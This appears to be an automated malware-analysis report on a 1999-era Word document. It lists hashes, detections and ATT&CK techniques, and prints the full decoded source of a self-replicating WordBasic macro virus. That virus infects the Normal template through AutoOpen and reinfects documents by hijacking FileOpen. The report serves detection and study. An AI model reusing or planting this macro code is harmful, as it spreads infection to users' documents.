Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77e5c70aa80cf3ae…

MALICIOUS

Office (OLE)

31.5 KB Created: 1999-01-09 13:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8bca237234c29e38366ff6f8258eeb48 SHA-1: 15cabdde3eb9f63d4547144da245512e3ecd8f61 SHA-256: 77e5c70aa80cf3ae89b16be2ada666342af2fbf27cdcfb4c40f16d4ac36360d1
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is designed to copy itself and another macro ('CSF') to the Normal template, potentially for persistence. The CSF macro appears to be related to opening documents and saving them, possibly to ensure the malicious macros are present. The ClamAV detection 'Doc.Trojan.Stealph-2' further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Stealph-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Stealph-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1634 bytes
SHA-256: 4a7a85ffb5a8e122e5a57586db8e2cb90a44183a8b7e8571792fd94e2e36d81a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim c
Dim i
 On Error GoTo -1: On Error GoTo ops
 c = 0
 For i = 1 To WordBasic.CountMacros(0, 0)
  If WordBasic.[MacroName$](i, 0, 0) = "CS" Then c = 10
 Next i
 If c = 10 Then GoTo ops
 Rem WinWord 6.0 Infector by CyberShadow...
 Rem Thanks to SGWW !
 WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Normal:CS"
 WordBasic.MacroCopy WordBasic.[FileName$]() + ":CSF", "Normal:FileOpen"
ops:
End Sub

Attribute VB_Name = "CSF"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Îòêðûòèå ñóùåñòâóþùåãî äîêóìåíòà èëè øàáëîíà"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.CSF.MAIN"
Dim s
Dim i
 Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
 On Error GoTo -1: On Error GoTo ops
 WordBasic.CurValues.FileOpen dlg
 WordBasic.Dialog.FileOpen dlg
 WordBasic.FileOpen dlg
 s = 100
 For i = 1 To WordBasic.CountMacros(1, 0, 0)
  If WordBasic.[MacroName$](i, 1) = "CSF" Then s = 1
 Next i
 If s = 1 Then GoTo ops
 Rem WinWord 6.0 Infector by CyberShadow...
 Rem Thanks to SGWW !
 WordBasic.FileSaveAs WordBasic.[FileName$](), Format:=1
 WordBasic.MacroCopy "Normal:CS", WordBasic.[FileName$]() + ":AutoOpen"
 WordBasic.MacroCopy "Normal:FileOpen", WordBasic.[FileName$]() + ":CSF"
ops:
End Sub